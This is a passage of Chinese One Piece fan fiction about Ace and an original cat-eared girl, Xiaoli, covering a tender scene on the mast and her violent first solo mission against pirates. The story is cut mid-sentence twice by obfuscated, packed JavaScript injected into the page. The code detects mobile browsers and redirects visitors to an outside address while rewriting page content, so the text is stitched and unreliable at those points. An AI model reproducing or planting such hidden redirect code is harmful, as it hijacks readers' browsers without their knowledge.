阳光洒在她微微汗湿的额发和撅起的嘴唇上,那副理不直气也壮、又委屈又耍赖的模样,让原本肃穆的训练气氛瞬间荡然无存。 乔兹低头看着地上要赖的小猫,那向来没什么表情的脸上,似乎极细微地、柔和了那么一瞬。他什么也没说,只是伸出一根手指轻轻点了点小狸的额头,那手指也覆盖着钻石,在阳光下熠熠生辉,那动作,近乎一种沉默的嘉奖。 “下一次!我一定能赢的!” “还早的很呢,小丫头。” 乔兹看着张牙舞爪的小猫低笑,其实小狸进步很大,像马尔科说的,她学东西很快,非要说的话,寻常海贼还真的不一定是她的对手,但是谁让她对练的都是他们这些队长呢,小猫还有很长的一段路要走呀 49. 试探 嘴上说着不介意那悬殊的赏金,说着“乔兹师傅太强了没办法”,但小狸心底深处,那份渴望变强,望彻底摆脱“累赘”或“需要被保护者”阴影的火焰,却烧得比任何一次都要旺。这火焰灼烧着她的骄傲,也驱动着她纤细身体里每一分潜力,甚至是超负荷的蛮力。 她开始近乎执拗地挑战自己能力的边界,尝试更复杂、更冒险的运用。后果就是,对力量精妙控制的课程,远比单纯增强威力要艰难和残酷得多。 只是对时机的判断出现了毫厘之差,那瞬间的力量反噬和失控,让她像一枚被自己发射出去的、却偏离了轨道的小炮弹,狠狠撞在了专门加厚过的训练用船板墙上。 “砰!” 闷响之后,是短暂的死寂。小狸滑落下来,单膝跪地,低着头,急促地喘息。训练服下,从肩胛到侧腰,传来大片火辣辣的、迅速蔓延开来的钝痛。 “嘶……”她终究没忍住,从牙缝里漏出一丝抽气声,肩膀也跟着瑟缩了一下。不是娇气,是生理性的、无法完全抑制的痛楚反应。 几乎就在这声音响起的下一秒,一道带着热意的影子就笼了下来。艾斯皱着眉,嘴角紧紧抿着,显示出不赞同甚至有些生气的情绪。 他蹲下身,没有立刻去查看伤势,而是伸出手,用食指和拇指,带着点惩戒意味地捏住了小狸的鼻尖,还左右晃了晃。 “说了多少次了!”他的声音压着“量力而行!循序渐进!你把马尔科的话当耳边风吗?还有乔兹教的发力方式呢?是不是又逞强用蛮力了?”他瞪着她,黑色的眼睛里烧着显而易见的担忧和气恼,“就该让你真痛一次,痛到记住这个教训!” 他便松开了她的鼻子,转而小心翼翼地去掀她训练服的衣角,那片迅速浮现、从肩胛骨斜蔓延至腰侧、颜色由红转深紫的大片淤青暴露在阳光下,艾斯的呼吸几不可察地滞了一瞬。眉头拧得更紧,唇线抿成一条苍白的直线。他不再说话,只是沉默地掏出那罐马尔科特制的、散发着淡淡清凉青草香气的化瘀药膏。 用指腹挖出莹润的药膏,他垂着眼睫,先是极轻地试探,然后才沿着淤伤的纹路,缓缓地、力道均匀地推开。药膏微凉,但他的指尖却是温热的,那热度透过清凉的药膏渗透进皮肤,奇异地中和了疼痛,带来一种难以言喻的安抚感。 “好痛啊……”小狸趁机哼唧起来,声音拖得长长的,又软又黏。其实,在药膏的作用下,那尖锐的痛感已经缓和了许多。但她偏偏要把脑袋往他凑近的手边蹭,蔚蓝的眼睛湿漉漉地仰望着他,里面盛满了显而易见的、带着点狡黠的委屈——她哪里是真的痛到受不了,她分明是在贪婪地汲取这份独属于她的、饱含心疼的关切。 艾斯哪里会看不穿她这点小心思。他没好气地“啧”了一声,手上的动作却没停,甚至更加细致地将药膏涂抹均匀。他故意板着脸,声音硬邦邦地:“现在知道痛了?下次再这么乱来,我就真不管你了,让你自己找马尔科去。” 典型的“艾斯式”威胁,苍白无力,且从未兑现过。 涂完药,小狸眼睛滴溜溜一转,淤青的疼痛仿佛瞬间被抛到了九霄云外。她伸出没怎么受伤的那只手臂,软软地勾住艾斯的脖子,仰着小脸,声音带着不容拒绝的撒娇:“哥哥,陪我去上面!” “上面!” 小狸另一只手指向巍峨的主桅杆顶端,那里视野绝佳,但通常只有瞭望员或需要调□□帆的船员才会上去,是小狸最喜欢的地方 艾斯本想拒绝,训练刚结束,她又带着伤。但看着她亮晶晶的、充满期盼的眼睛,还有那不由分说就开始往他身上赖的姿态,拒绝的话在舌尖转了一圈,终究是化作一声无奈的、带着纵容的叹息。“……就一会儿。风很大的” 于是,两人像是做贼一样,避开了甲板上三三两两休息或忙碌的船员,艾斯几乎是半扶半抱地带着她,悄无声息地爬上了主桅杆顶部的瞭望平台。这里离甲板已有相当距离,海风更加劲烈,吹得人衣袂猎猎作响。放眼望去,是无垠的碧海蓝天,莫比迪克号巨大的船体在下方也变成了精致的模型,甲板上的人影更是细小如豆。世界仿佛骤然空旷安静下来,只剩下风的声音,和海浪永恒的呼吸。 一到达这个私密又开阔的小天地,小狸最后那点“伤员”的自觉也飞走了。她几乎是立刻软软地“瘫”进了艾斯怀里,寻了个最舒适的角度,把脸埋在他胸口,满足地蹭了蹭。 “充电……要补充艾斯能量!”她理直气壮地宣布,声音闷在他衣料里,带着得逞后的小小窃喜。说完做贼心虚般地迅速抬起小脑袋,警惕地四下张望了一圈,生怕那个总是神出鬼没的马尔科先生会突然出现,用那双半睁不睁的眼睛和独特的尾音提醒她“男女有别”。 艾斯背靠着坚实冰凉的主桅杆,对这个“人形挂件”的举动早已习以为常,甚至可以说是默许和纵容。他调整了一下姿势,让她靠得更稳当些,一只手自然而然地垫到自己脑后,目光投向遥远的海平线,另一只手指尖穿过她被海风吹得有些凌乱的黑色发丝,有一下、没一下地梳理着。 他的目光,最初是落在辽阔的海天之际,但渐渐地,不由自主地滑落下来。掠过她光洁的额头,垂落的眼睫,最后,定格在那对随着呼吸和心情、在他胸口位置微微颤动的黑色猫耳上。 阳光从侧面打来,穿透那层薄薄的、毛茸茸的耳廓,隐约能窥见内里那抹极其娇嫩的、透着健康粉晕的肌肤,细腻得不可思议,绒毛在光线下呈现出半透明的质感。 那个荒唐的梦境猛地撞进脑海。画面清晰得灼人:朦胧的光线下,同样是这样一对敏感的猫耳,在他唇齿间轻颤,细腻的触感仿佛还停留在舌尖……近在咫尺的、染着红晕的脸颊,水光潋滟、似乎无声邀请着他的蓝眼睛,还有那两瓣他最终未能触碰到的、柔软嫣红的唇…… “咕咚。” 喉咙骤然发紧,干渴得厉害,他不受控制地吞咽了一下。垫在脑后的那只手,似乎再也无法安然停留在原地,某种躁动的、难以言喻的冲动驱使着它放下。手臂有些僵硬地抬起,然后,带着一丝微不可查的颤抖和试探,缓缓地环住了小狸纤细却柔韧的腰肢。掌心隔着薄薄的训练服,能清晰地感受到她身体的温热和起伏的线条。 海风在耳边呼啸,心跳的鼓噪却越来越响,几乎要盖过一切。 就一会儿…… 他在心里对自己说,带着近乎祈求的克制,就这样抱一会儿就好……像以前一样。 他试图用这个理由说服自己,将掌心那份过热的触感和脑海中旖旎的画面驱散。但怀中真实温软的躯体,发间萦绕的淡淡药草香,还有那对在阳光下微微抖动的猫耳……所有的一切,都在无声地瓦解着他摇摇欲坠的理智防线。 指尖传来的细腻温暖的触感让他心神荡漾。宽大的手掌贴合着少女腰侧裸露的一小片肌肤,那温度和柔软的弧度让他心底升起一股难以言喻的渴望,不再满足于这短暂的接触,想要更多…… 小狸似乎感觉到了他手掌的热度和微微加重的力道,轻轻扭动了一下身子,懵懂地抬起头,脸颊泛着淡淡的红晕。 明明只是和平时差不多的贴贴……但为什么艾斯今天的眼神……那么深邃,那么……灼热?看得她的心脏像是要从胸腔里跳出来一样! 冷静点啊小狸! 她在心里尖叫,却不知道该如何应对这种陌生的、让人心悸的感觉。 她软软地开口,声音是自己都未曾察觉的甜腻绵软:“艾斯~有点痒……”她说不清是腰间那只温热的手掌让她发痒,还是心底那股莫名的躁动让她发痒。 这下好了,她这句话像一根羽毛,轻轻搔刮在艾斯本就躁动的心尖上。两个人仿佛都同时“痒”了起来。 看着小狸那因为害羞而微微抖动的敏感耳尖,艾斯原本只想“浅尝辄止”的念头瞬间被抛到九霄云外。一股更强烈的冲动涌上心头——他想真的轻轻咬一下,想知道那会是怎样的触感,想看看小猫会露出怎样动人的表情…… 而小狸也发现艾斯似乎沉浸在某种思绪里,没有特别注意她的动作。于是她鼓起勇气,动作极其缓慢地、小心翼翼地伸头,把下巴抵在他的肩膀。她的尾巴悄悄地带着占有意味地悄悄卷上了艾斯的脚踝。然后像只真正的小猫,用鼻尖轻轻蹭了蹭他散发着阳光气息的脖颈,深深嗅着那令她安心又迷恋的味道。 就……就小小的贪心一下……不会被发现的…… 艾斯的呼吸不知不觉间放得极轻,连他自己都未曾察觉。他的目光越来越沉,越来越深,从她微微颤动的耳尖,滑落到她因为埋在他怀中而露出一小截的、白皙细腻的后颈肌肤。海风拂过,几缕调皮的发丝在那里扫动,更添了几分脆弱易碎的诱惑。他的喉结再次不受控制地上下滚动,揽在她腰间的手臂,掌心开始微微出汗,隔着衣料传递出灼人的热度。 他像是被某种原始的本能驱使,又像是被那个未尽梦境中的渴望蛊惑,缓缓地、极其缓慢地低下头。鼻梁几乎要触碰到她柔软的发顶,温热的呼吸拂过她的耳廓,带来一阵细微的、连她自己都未必清晰感知到的战栗。他的目标,是那枚在阳光下透着粉嫩、仿佛邀请他去验证梦中触感的耳尖。 就在他的唇即将若有似无地擦过那茸毛的瞬间—— “喂,换班了!刚才你看西南方向有片云,形状是不是有点像漂亮妹子?身材真好啊”“少来了天还没黑就喝多了吧!”…… 下方甲板上,突然清晰地传来换班巡逻船员的说笑声和靴子踩在木板上的、由远及近的脚步声!那声音毫无预兆,如同冰水泼进滚油! “!!!” 旖旎迷离、如同独立于时空之外的梦幻气泡,被这现实的声音“啪”地一声戳得粉碎! 两人浑身一震,如同被无形的电流同时击中,瞬间从那种沉浸的状态中惊醒!艾斯的动作僵在半空,小狸的身体也猛地绷直。下一秒,几乎是条件反射般的羞耻和惊慌占据了大脑,他们像两只受惊的鸟,猛地向两侧弹开一小段距离。 艾斯迅速直起身,背脊挺得有些僵硬,飞快地转过头,假装专注地眺望着远处根本没什么特别的海平线。小狸则慌忙坐直,恨不得把整个人藏进桅杆的阴影里。 心脏在各自的胸腔里疯狂擂鼓,声音大得让他们怀疑会不会被下面的人听见。呼吸都变得急促而不稳,脸颊上不受控制地爬满滚烫的红晕,一路蔓延到耳根脖颈。明明什么都没有真正发生,但那做贼心虚的感觉,却比真的做了什么还要强烈。 幸好……他/她没发现我刚才的意图…… 两人在心里不约而同地、同步地闪过这个念头,都以为只有自己心怀鬼胎,在为那“未遂”的亲近而感到羞赧和后怕,同时也隐秘地松了口气,又掺杂着一丝说不清道不明的……遗憾? “咳……” 艾斯率先打破这令人窒息的沉默,他清了清嗓子,声音却带着事后的沙哑,像是被海风呛到,又像是别的什么原因,“药、药膏差不多吸收了吧……风大了,我们下去吧。” 他试图让语气听起来自然随意,却掩饰不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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喜欢他的眼神,喜欢他的温度,喜欢他的气息,喜欢他责备又心疼的语气,喜欢他明明紧张却假装镇定的样子……喜欢关于他的一切一切!这份情感如此汹涌,如此直白,冲垮了她所有的认知,变得清晰而灼热,烫得她心尖发颤。 另一边,艾斯回到自己那间略显凌乱的舱室,反手关上门,落锁的“咔哒”声在寂静中格外清晰。 他长长地吐出一口气,那气息滚烫,仿佛带着刚才在桅杆顶上压抑住的所有热度。然而,这并不能缓解分毫。 怀里那柔软身躯的触感,她发间清新的气息,脖颈处被她无意识蹭过时那细腻微痒的触感,还有她哼唧时那又软又黏的嗓音……这些碎片式的记忆,非但没有随着距离拉开而模糊,反而如同被施了魔法,在他脑海里循环播放,每一个细节都清晰得令人发指。 这比面对任何强敌的猛攻都更让他难以招架,这是一种从身体内部燃起的、无处宣泄的火焰,灼烧着他的理智和四肢百骸。 一抹无奈的、带着自嘲的苦笑缓缓爬上他的嘴角。 “真是……自作自受。” 他低声咕哝,语气复杂。明明告诫过自己要保持距离,明明知道那只是依赖和亲近,却在独处的瞬间轻易被本能和那些旖旎的联想击溃。 他走到水盆边,拿起旁边的水瓢,从桶里舀起满满一瓢冷水。迟疑了一瞬,然后心一横,手腕倾斜,将那冰凉刺骨的水流,毫不留情地从自己头顶浇下! “哗——!” 冰冷的水流瞬间浸透了他的黑发,淌过滚烫的额头、脸颊、脖颈,一路冲刷过紧绷的胸膛和脊背。突如其来的寒冷让他浑身肌肉猛地一绷,倒抽一口凉气,皮肤上激起一层细密的鸡皮疙瘩。冰火交织的刺激感尖锐而短暂,皮肤表面的灼热似乎被强行压制了下去。 但,也仅仅是表面。 他拄着水盆边缘,微微喘息着,水珠顺着发梢和下颌不断滴落,在脚下积起一小滩水渍。然而,内心那团躁动的火焰,那脑海中挥之不去的画面——尤其是最后定格的那双,氤氲着朦胧水光的蔚蓝色猫瞳。 不知就这样站了多久,直到呼吸渐渐平复,身体的躁动也缓缓蛰伏下去。他抬手抹了一把脸上的水珠,走到床边坐下,侧头看向墙壁昏暗的阴影,墙壁的对面,就是那个挥之不去的身影。 “这只磨人的小猫……” 他低声喃喃,声音沙哑,那抹苦笑最终化为了一个极其柔软、甚至有些傻气的弧度,悄悄爬上他的嘴角。 但随即,那弧度又微微收敛,深邃的眼眸中闪过一丝清晰的懊恼和……警醒。 “真危险啊,” 他对自己说,语气变得认真起来,“已经开始……不满足于只是这样了。” “这样”是哪样?是兄妹式的拥抱和依赖?是仅限于言语和眼神的关切?他清晰地感觉到,心底某种界限正在模糊,某种渴望正在破土,指向更亲密、更独占、更……不可言说的方向。 这份悄然变化的心意,这份开始超越“兄长”身份的悸动,对于他们目前的关系,对于这艘船上的大家庭,甚至对于未来……或许,真的会变得“麻烦”起来。 窗外,黄昏的海风似乎更疾了些,吹得舷窗微微震颤,带来远方海潮永不停歇的喧嚣。那风声灌入耳中,却奇异地与胸腔内尚未完全平息的鼓噪重合在了一起。 艾斯静静地坐着,任由发梢的水滴慢慢浸湿肩头的衣料。 今天的风,吹过桅杆,绕过船舷,最终钻入这安静的舱室。还真是……喧嚣又燥热啊。 50. 蓟草与凶星.上 广袤的伟大航路上的岛屿多如繁星,然而如福德维天岛那样有幸得到四皇荫庇的岛屿终究是凤毛麟角。 格林赛尔岛——一个名字念起来带着草木清苦气息的小岛。它因岛上遍布的一种特殊蓟草而得名。这种蓟草开着成片成片雾蒙蒙的淡紫色小花,茎叶汁液带有极其轻微的麻醉与镇痛效果,是许多民间偏方里不可或缺的一味。 然而,这份馈赠并未给岛民带来富足与安宁。相反,草药意味着潜在的财富,僻静意味着行动的便利。当海贼团只是匆匆路过,补给淡水食物便扬帆离去时,那便是岛民们暗自庆幸的“幸运日”。更多的时候是伴随船只而来的破坏和混乱 岛上并非没有清醒的智者。库洛巴医生——一位医术精湛却刻意将名声局限于附近几个岛屿的白胡子老者,便是其中之一。多年前,他因厌倦了伟大航路那些纷扰嘈杂的医疗协会,选择隐居于此。他爱极了这里与世无争的宁静,爱极了推开窗便能采撷到带着晨露的珍稀药草。平日的他,像个最普通的乡下老头,乐呵呵地背着药箱在村里转悠,仁心仁术却不求回报。 直到,“裂颅海贼团”的船粗暴地撞上了格林赛尔岛那小小的码头。 这伙海贼的名声并不显赫于那些悬赏令遍贴四海的大人物之间,但在这片他们活跃的海域,其凶残与混乱却令人闻风丧胆。船长“裂颅者”戈顿,一个据说曾用对手头骨当酒碗的狂人,带领着他那同样暴戾的船员们,一登陆便迫不及待地宣泄着海上积攒的破坏欲。 他们不是来贸易的,甚至不是来常规补给的。他们是来“占领”的,以一种最原始、最野蛮的方式。岛上那点可怜的守卫力量在真正的亡命之徒面前,如同纸糊的玩具,顷刻瓦解。 库洛巴医生当时正在后山采药。当他听到异响,奔回村口,看到的已是火光冲天的惨状。没有时间愤怒或悲伤,他像一头熟悉山林的老鹿,悄无声息地绕开主要道路,趁着混乱,将几个躲在废墟中瑟瑟发抖、父母已不知去向的孩子拢到身边,带着他们仓皇遁入岛屿深处那片他常去采药的、迷宫般的蓟草山谷。 潮湿的山洞暂时提供了庇护,但孩子们的抽泣声在狭小空间里回荡,有限的清水和干粮无法支撑太久。库洛巴检查着最后一个孩子脚上被碎石划破的伤口,心中沉甸甸的。他不是战斗人员,只是一个医生。逃,能逃多久? 忽然,他想起了几天前刚刚寄出的那封信。是给白胡子海贼团一番队队长马尔科的。主要目的是运送一批之前约定的、只在特定季节采摘的稀有蓟草花蕊。那位队长虽然身份显赫,却对各类珍稀药材有着学者般的兴趣,两人因药结缘,保持着一种淡如水的忘年交。信使鸟应该已经出发了……或许,只是或许,那封信能带来一丝微光?马尔科队长并非冷血之人,如果他看到这里的状况…… 这念头像一根纤细却坚韧的蛛丝,在绝望的黑暗中垂下。库洛巴看着身边孩子们依赖又恐惧的眼神,苍老的手指轻轻抚过药箱冰凉的金属扣。他只能赌一把。为了这些孩子,也为了这座他深爱的小岛。 …… 几天后,格林赛尔岛背阴面一处极其僻静的小小海湾。 “噗嗤——” 一艘线条流畅、形如箭矢的小型火焰动力艇,悄无声息地滑入湾内,船底轻轻蹭过细沙,停了下来。 一道娇小轻盈的身影从艇上一跃而下,站稳身形,先是警惕地快速环视四周,确认安全后,才抬起头,目光被远处山坡上的景象吸引。 那是大片大片盛开的、如同连绵不绝的紫色云雾般的蓟草花。正午的阳光透过稀薄的云层洒下,给这片紫色的海洋镀上了一层朦胧的金边。海风拂过,花浪起伏,仿佛真的有淡紫色的烟雾在山坡上流淌、升腾。 “哇哦……”少女发出一声低低的惊叹,黑色的猫耳因好奇而微微向前转动,捕捉着风穿过花丛的沙沙声。她挠了挠脸颊,小声嘀咕,“远远看着,还真以为哪家在烧荒冒烟呢……马尔科先生说的‘蓟草之岛’,原来藏着这么漂亮的地方?” 正是小狸。 此刻的她,背上背着一个印着简单绿色条纹的双肩背包,身上穿着方便行动的短裤和贴身的无袖上衣,显然心情相当不错。那条黑色的长尾在身后悠闲地左右摆动,尾巴尖偶尔卷起又松开,显出一种难得的、独自出行的轻松惬意。 这是她的“第一次独立任务”——受马尔科郑重委托,前来格林赛尔岛寻找隐居的库洛巴医生,取回预定的药材,并“顺路”探望一下这位老朋友。 任务本身简单得近乎无聊:确定位置,找到人,拿到东西,寒暄几句,返航。没有任何危险,没有需要战斗的敌人,纯粹是一次友好的跑腿兼社交访问。马尔科在交代任务时,甚至带着难得的、堪称“轻松”的笑意,说他的老朋友知识渊博,尤其对各类植物和民间偏方知之甚详,小狸这一趟说不定能学到点有趣的东西,就当散心了。 一种混合着被信任的喜悦与初次“单飞”的兴奋感瞬间攫住了她。她几乎是立刻、斩钉截铁地拒绝了艾斯想要同行的提议,脑袋摇得像拨浪鼓,耳朵和尾巴同步表达着坚定的拒绝:“不要!艾斯哥哥跟着的话,那不还是和以前一样嘛!这次我要自己去!说好了是‘我的任务’!” 她那副兴高采烈、跃跃欲试的模样,像极了第一次被允许独自穿过街口去便利店买东西的小孩,浑身上下都洋溢着“我很厉害我能行”的朝气。 船上的大家看着她那兴奋劲儿,都露出了慈爱的笑容。艾斯独自坐在船舷上,海风吹乱了他的黑发,也吹皱了他的心湖。 他坐在那里,很久没动。脑海中不受控制地回放着认识小狸以来的点滴:从锈带巷口那个警惕又脆弱的黑猫少女,到如今能在甲板上和大家笑闹、敢跟他顶嘴撒娇、眼睛里重新燃起生动光彩的姑娘……是他,是老爹,是船上的每一个人,用热情与包容,一点点捂热了那颗冰冷孤独的心,拂去她身上的灰尘与伤痕,让她终于敢舒展枝叶,甚至开出明媚的花来。 他很享受这种感觉——被她全然依赖、信任的感觉。她那双澄澈的蓝眼睛望过来时,里面清晰的倒影和全然的信赖,总能让他胸腔里鼓胀起一种难以言喻的满足与责任感,仿佛保护她、让她快乐,是他生命中最重要、也最理所当然的事之一。 可如今,这只被他小心翼翼呵护、渐渐养出骄傲神采的小猫,要独自跑出去了。即使知道任务简单,即使明白虽然她本人因为长期生活在“怪物”堆里,对自己的实力严重缺乏正确认知,但那种“视线之外,无法掌控”的不安感,还是让他不住地心慌。 万一呢?伟大航路什么时候按常理出过牌?万一岛上的情况有变?万一遇到其他不怀好意的海贼?万一……迷路了? 最终,是在马尔科无奈又警告的目光注视下艾斯才勉强按耐下偷偷跟过去的冲动 “孩子该长大独立行动了” “大海一望无际你以为你能藏得住什么” “艾斯你再这副蠢样子我就把你踹下海”。 他强迫自己深呼吸,试图用理智说服那颗躁动的心:小狸很强了,真的,普通海贼根本不是她的对手;她有电话虫,随时可以联系;任务简单,快去快回…… 思念与担忧,在他还未真正开始“思念”的时候,就已经泛滥成灾。 …… 小狸沿着小路越往里走,空气中那股草木焚烧的焦糊味就越发明显。她开始看到被砸毁的村舍、散落一地的粮食、仍在冒着黑烟的断壁残垣……以及从远处一栋最大建筑里传来的、男人们肆无忌惮的喧哗和狂笑声。 那笑声肆无忌惮,充满了一种令人不快的、征服与享乐的嚣张,与这片破败的景象形成尖锐的对比。声音的来源,是村子深处一栋看起来最大、原本可能是集会所或酒馆的建筑。 小狸站在村口,那双蔚蓝色的猫瞳微微眯起,快速地扫视着眼前的惨状,怎么都不像是能找到完好无损的医生的样子。她的手不自觉地抓紧了双肩包的背带,指节因为用力而微微泛白。头顶那对黑色的猫耳,以肉眼可见的速度,沮丧地耷拉下来,几乎要贴到发丝上。身后的长尾巴也无精打采地垂落,尾尖在地面上无意识地划拉着尘土。 “不会吧……不会吧不会吧……”她扁了扁嘴,用几乎只有自己能听到的声音,小小声地、哀怨地嘟囔起来“难得大家同意我自己行动……第一次任务哎!马尔科先生那么郑重拜托我的第一次任务!难道就要这样失败了吗?” 她想象着回到船上,大家围上来问“怎么样小狸?顺利吗?”时,自己却要低着头,小声说“没找到人,村子被海贼占了”的场景……那简直太糟糕了!艾斯哥哥肯定会露出那种“看吧果然还是需要我跟着”的表情!马尔科先生会不会觉得她连这点小事都办不好?萨奇会不会笑话她?丢斯会不会写进他的小说素材里? “库洛巴医生……您可千万要好好的啊……这可是我第一次被马尔科先生正式委托哎!第一次!” 最初是对任务可能失败的懊恼,但很快,这份懊恼找到了源头,转化为了对于罪魁祸首的愤怒。 小狸深吸了一口气,又缓缓吐出。脸上那点沮丧和哀怨渐渐被一种沉静的、甚至带着点冷意的神情取代。 她并没有刻意隐藏自己,也没有选择迂回。就这样背着那个醒目的绿色条纹背包,挺直了依旧纤细的脊背,径直走向村子深处,走向那喧嚣的中心。 很快,她的身影就被负责在村子高处瞭望的海贼发现了。 村口一栋民居的二层,一扇破了一半的窗户后面,探出两个脑袋。一个海贼揉了揉惺忪的睡眼,冲着下面那个越走越近的娇小身影喊道,声音因为酒精和漫不经心而有些含糊: “喂!站住!你是什么人?干什么的?!” 另一个海贼也挤到窗边,他眼神稍微好点,或者说,更油滑些。当他的目光落在小狸脸上,眼睛立刻亮了起来,声音拔高,带着毫不掩饰的调笑: “哎呦喂!这是哪来的小妹妹?迷路了吗?一个人跑到这种地方来,多危险啊!”他夸张地用手肘捅了捅同伴,挤眉弄眼,“上来陪哥哥们喝一杯啊!哈哈哈哈!” 小狸的脚步停在了门前的一片空地上。她仿佛没听到那些调笑,只是平静地抬起头,那双圆溜溜的蓝色猫瞳缓缓扫过二楼窗口那两个海贼的脸。 然后,她慢慢地将背上的双肩包取了下来,动作不紧不慢。她把背包放在脚边,然后蹲下身,开始在里面翻找起来。 “哟呵?”二楼那个油滑海贼更来劲了,“小妹妹还给我们带礼物了?真上道啊!快拿上来让哥哥们看看是什么好东西!” 但他的同伴,那个最初喊话的海贼,眉头却微微皱了起来。酒精带来的迟钝开始被一种模糊的不安感取代。他的目光死死盯住小狸头顶那对猫耳——它们在轻微转动,显然在捕捉声音,那绝不是装饰品该有的灵动。还有那条从她身后绕过来、此刻正安静垂在地上的黑色长尾巴……总感觉,这特征在哪里听说过?某种遥远记忆的碎片开始搅动他昏沉的脑海。 “等等……”他按住同伴还在嚷嚷的肩膀,声音压低了些,带着不确定,“她那耳朵和尾巴……看起来不像是假的啊……我好像……在哪里听说过……” “不是吧你?”油滑海贼不耐烦地甩开他的手,嗤笑道,“就这细胳膊细腿的小丫头片子,你怕个鸟?管她真的假的,弄上来玩玩不就知道了?说不定还是个稀罕货呢!”他说着,又冲着楼下喊,“喂!小猫咪!别磨蹭了!快……” 他的话戛然而止。 因为楼下的少女已经从背包里掏出了一张折叠的纸,展开,举了起来。纸上用简洁却传神的线条画着一位老者的半身像,特征抓得很准——正是库洛巴医生。 小狸举着画像,仰着脸,声音清晰地传上二楼,不高,却奇异地穿透了那些嘈杂的背景音,带着一种直接的、不容敷衍的询问: “喂,楼上的大叔们。” 她顿了顿,蓝色的瞳孔在阳光下微微收缩。 “你们,见过这个男人吗?” “他还活着吗?还好吗?” 楼上两个海贼被这突如其来的、完全出乎意料的提问弄得一愣。油滑海贼下意识地脱口而出:“啊?不就是前几天带着那群小崽子跑掉的那个老头吗?命挺硬,溜得倒快……”他说完才意识到不对,脸色一变,“不对!我们干嘛要告诉你啊!喂!臭丫头你到底是……” 他的话再次被打断。这次是被他同伴骤然变得惨白的脸色和惊恐的眼神。 那个觉得眼熟的海贼,目光死死地、如同被磁石吸住一般,钉在了小狸抬起手臂展示画像时,不经意间露出的那一小截肌肤上——那里,一个标志性的、带着弯月胡子白色骷髅刺青,赫然在目! 白胡子海贼团的标志! 脑海深处那块蒙尘的记忆碎片骤然被点亮,某个近期在底层海贼间口口相传、令人胆寒的消息轰然炸开! “那、那是……白胡子的标记!!”他的声音骤然拔高,尖锐得变了调,充满了难以置信的恐惧,“我想起来了!我想起来了!不久前,香波地群岛!那个砸了‘Joker’多弗朗明哥旗下拍卖场,打伤了世界贵族天龙人好几个亲信护卫,最后还全身而退的……白胡子海贼团的……” 他的牙齿都在打颤,几乎说不下去。 油滑海贼也懵了,酒醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941777|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半,结结巴巴地问:“谁、谁啊?” “是‘凶星’!”眼熟海贼几乎是吼出来的,脸上血色尽失,“白胡子海贼团二番队的‘凶星小狸’!据说当时拍卖场一片狼藉,她是个怪物!” “凶、凶星?!”油滑海贼腿一软,差点瘫坐在窗台上。那个听起来就令人不寒而栗的绰号,配上楼下少女那平静得过分的脸,形成了一种极度诡异的反差,让他浑身的汗毛都竖了起来。“不、不会吧?!那种大人物……怎么会、怎么会来我们这种鸟不拉屎的小地方?!” 他们之前所有的轻浮、调笑、嚣张,在这一刻被冰冷的恐惧冲刷得干干净净,只剩下无边的后悔和寒意。两人对视一眼,都从对方眼中看到了同样的绝望。 而楼下,举着画像的小狸,在听到“库洛巴医生带着孩子逃走了,应该还活着”的信息时,明显松了一口气,紧绷的肩膀微微放松下来。她甚至抬起空着的那只手,轻轻拍了拍自己的胸口,小声嘀咕:“还好还好……人没事就还有希望……” 但下一秒,楼上那惊恐交加喊出的“凶星小狸”四个字,就精准的传入她的耳朵里! “凶星”! 这个她最最最讨厌的绰号!也不知道是哪个混蛋最先开始叫的!她哪里凶了?! 小狸脸上那点刚刚浮现的、因为医生可能生还而产生的放松瞬间消失无踪。取而代之的,是一种混合着恼怒、烦躁和被冒犯的阴沉。 她将纸重新折好,塞回背包侧袋。动作依旧不紧不慢,却带着一种山雨欲来前的压抑平静。 然后,她抬起头,再次看向二楼窗口那两个已经吓呆的海贼。 “你——说——谁——是——” 她的声音一个字一个字地吐出,清晰,冰冷,带着一种猫科动物极具威胁性的低沉嘶鸣。 “——凶星啊!!!” 最后三个字几乎是炸开的! 话音未落,她的身影已经从原地消失了! 楼上两个海贼只觉得眼前一花,只来得及捕捉到一抹淡淡的黑色残影—— 下一秒,砰!!! 一声沉闷得令人牙酸的撞击声,伴随着木质地板不堪重负的吱嘎呻吟,从油滑海贼身侧传来。 只见那个刚刚还在楼下空地上的少女,此刻已经如同鬼魅般出现在了他们的房间内!她单膝跪地,一只覆盖着奇异钻石般光泽的手,正死死地按在之前那个喊出“凶星”的海贼脸上,将他的整个头颅连同上半身,狠狠地、毫无缓冲地摁进了厚实的木质地板里! 木屑四溅。 那个海贼甚至连一声完整的惨叫都没能发出,身体剧烈地抽搐了两下,便彻底瘫软不动了。鲜血从他脸与地板接触的边缘慢慢渗出,在地板上洇开一小片暗红。 整个过程,快到不可思议,狠到令人胆寒。 原本醉醺醺的油滑海贼,被这突如其来的变故惊得酒意全无,目瞪口呆地看着那个半跪在地、缓缓抬起头的猫耳少女。 小狸慢慢地收回了钻石化的右手,那层坚硬冰冷的光泽如同潮水般褪去,恢复成白皙纤细的模样。她甚至没去看手下那个不知死活的家伙,只是甩了甩手,仿佛沾到了什么脏东西。然后,她缓缓站起身,目光冰冷地落在了那个之前出言调戏、此刻已经吓傻的油滑海贼身上。 那海贼被她的目光一扫,极度的恐惧压倒了一切,不知从哪里涌上来一股荒谬的、垂死挣扎般的勇气,他发出一声怪叫,猛地抓起旁边一把沉重的木椅,用尽全身力气,朝着小狸劈头盖脸地砸了过来! “去死吧!!!” 木椅带着风声呼啸而至。 小狸甚至没有正眼看他,她只是随意地、像是赶苍蝇般,抬起了一条腿—— 动作轻描淡写,甚至带着点漫不经心。 砰!!!! 又是一声巨响,比刚才更加沉闷! 